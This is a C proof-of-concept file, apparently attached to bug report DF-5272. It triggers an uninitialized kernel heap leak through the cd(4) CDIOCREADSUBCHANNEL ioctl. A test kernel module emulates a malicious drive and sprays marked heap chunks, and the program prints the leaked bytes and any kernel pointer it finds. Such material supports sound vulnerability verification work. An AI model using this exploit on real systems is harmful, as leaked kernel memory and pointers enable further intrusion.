DF-5272 / poc_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* DF-5272 PoC: CDIOCREADSUBCHANNEL uninitialized kernel heap disclosure. * * The evil device completes READ SUBCHANNEL with a 4-byte short transfer * while its header claims data_len = 0x0014, so cd(4) copyouts 24 bytes * of which the last 20 were never initialized (kmalloc without M_ZERO). * The KLD pre-freed 24B heap chunks filled with 0xDEAD... markers, a * kernel pointer and 0x55 fill; any of those bytes appearing in the * copyout proves the leak. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/cdio.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> static int mark_mode = 0; static void do_mark(void) { int v = 1; size_t l = sizeof(v); if (!mark_mode) return; /* in-process sysctl (no fork/exec): alloc+mark+kfree 1024 x 24B * chunks AFTER the previous ioctl freed its buffer, so the next * kmalloc(24) pops a marked chunk (allocator is LIFO) */ sysctlbyname("debug.evilcd.spray_leak", &v, NULL, &l, sizeof(int)); } int main(int argc, char **argv) { const char *dev = argv[1] ? argv[1] : "/dev/cd1"; struct ioc_read_subchannel args; struct cd_sub_channel_info info; int fd, i, j, hits = 0, kptr = 0; unsigned long leakptr = 0; if (argc > 2) leakptr = strtoul(argv[2], NULL, 0); if (argc > 3) mark_mode = 1; fd = open(dev, O_RDONLY); if (fd < 0) { perror(dev); exit(1); } memset(&args, 0, sizeof(args)); args.address_format = CD_MSF_FORMAT; args.data_format = CD_CURRENT_POSITION; args.track = 0; args.data_len = sizeof(info); args.data = &info; for (i = 0; i < 64; i++) { memset(&info, 0xEE, sizeof(info)); do_mark(); if (ioctl(fd, CDIOCREADSUBCHANNEL, &args) < 0) { perror("CDIOCREADSUBCHANNEL"); exit(1); } /* bytes [4..23] must never contain heap remnants */ for (j = 4; j < 24; j++) if (((u_int8_t *)&info)[j] != 0xEE) break; if (j < 24) { hits++; printf("[poc] run %2d: bytes[0..23] = ", i); for (j = 0; j < 24; j++) printf("%02x", ((u_int8_t *)&info)[j]); printf("\n[poc] uninit[4..23] = "); for (j = 4; j < 24; j++) { u_int8_t c = ((u_int8_t *)&info)[j]; printf("%c", (c >= 0x20 && c < 0x7f) ? c : '.'); } printf("\n"); /* look for the kernel pointer marker */ { u_int8_t *p = (u_int8_t *)&info; for (j = 4; j <= 24 - 8; j++) { unsigned long v = 0; int k; for (k = 7; k >= 0; k--) v = (v << 8) | p[j+k]; if (leakptr && v == leakptr) { kptr = 1; printf("[poc] -> KERNEL POINTER " "%p leaked at +%d\n", (void *)v, j); } } } } } printf("[poc] %d/64 runs leaked non-zero heap bytes; " "kernel-pointer marker seen: %d\n", hits, kptr); close(fd); return (0); } |